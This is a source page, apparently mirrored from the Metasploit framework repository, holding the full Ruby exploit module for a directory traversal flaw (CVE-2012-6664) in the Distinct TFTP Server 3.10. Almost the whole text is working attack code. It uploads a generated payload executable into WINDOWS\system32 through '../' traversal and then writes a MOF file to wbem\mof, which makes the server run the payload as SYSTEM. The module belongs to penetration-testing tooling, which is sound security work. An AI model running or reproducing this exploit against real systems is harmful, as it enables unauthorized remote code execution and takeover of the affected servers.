Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Exploit::Remote5Rank = ExcellentRanking67include Rex::Proto::TFTP8include Msf::Exploit::EXE9include Msf::Exploit::WbemExec10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Distinct TFTP 3.10 Writable Directory Traversal Execution',17'Description' => %q{18This module exploits a directory traversal vulnerability in the TFTP19Server component of Distinct Intranet Servers version 3.10 which20allows a remote attacker to write arbitrary files to the server file21system, resulting in code execution under the context of 'SYSTEM'.22This module has been tested successfully on TFTP Server version 3.1023on Windows XP SP3 (EN).24},25'License' => MSF_LICENSE,26'Author' =>27[28'modpr0be', # Initial discovery, PoC (Tom Gregory)29'sinn3r' # Metasploit30],31'References' =>32[33['OSVDB', '80984'],34['EDB', '18718'],35['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],36['CVE', '2012-6664']37],38'Payload' =>39{40'BadChars' => "\x00"41},42'DefaultOptions' =>43{44'EXITFUNC' => 'thread'45},46'Platform' => 'win',47'Targets' =>48[49['Automatic', { 'auto' => true }],50],51'Privileged' => true,52'DisclosureDate' => '2012-04-08',53'DefaultTarget' => 054)55)5657register_options([58OptInt.new('DEPTH', [false, 'Levels to reach base directory', 10]),59OptAddress.new('RHOST', [true, 'The remote TFTP server address']),60OptPort.new('RPORT', [true, 'The remote TFTP server port', 69])61])62end6364def upload(filename, data)65tftp_client = Rex::Proto::TFTP::Client.new(66'LocalHost' => '0.0.0.0',67'LocalPort' => 1025 + rand(0xffff - 1025),68'PeerHost' => datastore['RHOST'],69'PeerPort' => datastore['RPORT'],70'LocalFile' => "DATA:#{data}",71'RemoteFile' => filename,72'Mode' => 'octet',73'Context' => { 'Msf' => framework, 'MsfExploit' => self },74'Action' => :upload75)7677tftp_client.send_write_request { |msg| print_status(msg) }78until tftp_client.complete79select(nil, nil, nil, 1)80tftp_client.stop81end82end8384def exploit85exe_name = "#{rand_text_alpha(8..15)}.exe"86exe = generate_payload_exe87mof_name = "#{rand_text_alpha(8..15)}.mof"88mof = generate_mof(mof_name, exe_name)89traversal = '../' * datastore['DEPTH'].to_i9091print_status("Sending EXE (#{exe.length} bytes)")92upload("#{traversal}\\WINDOWS\\system32\\#{exe_name}", exe)93register_file_for_cleanup(exe_name)9495# Let the TFTP server idle a bit before sending another file96select(nil, nil, nil, 3)9798print_status("Sending MOF (#{mof.length} bytes)")99upload("#{traversal}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)100register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")101end102end103104105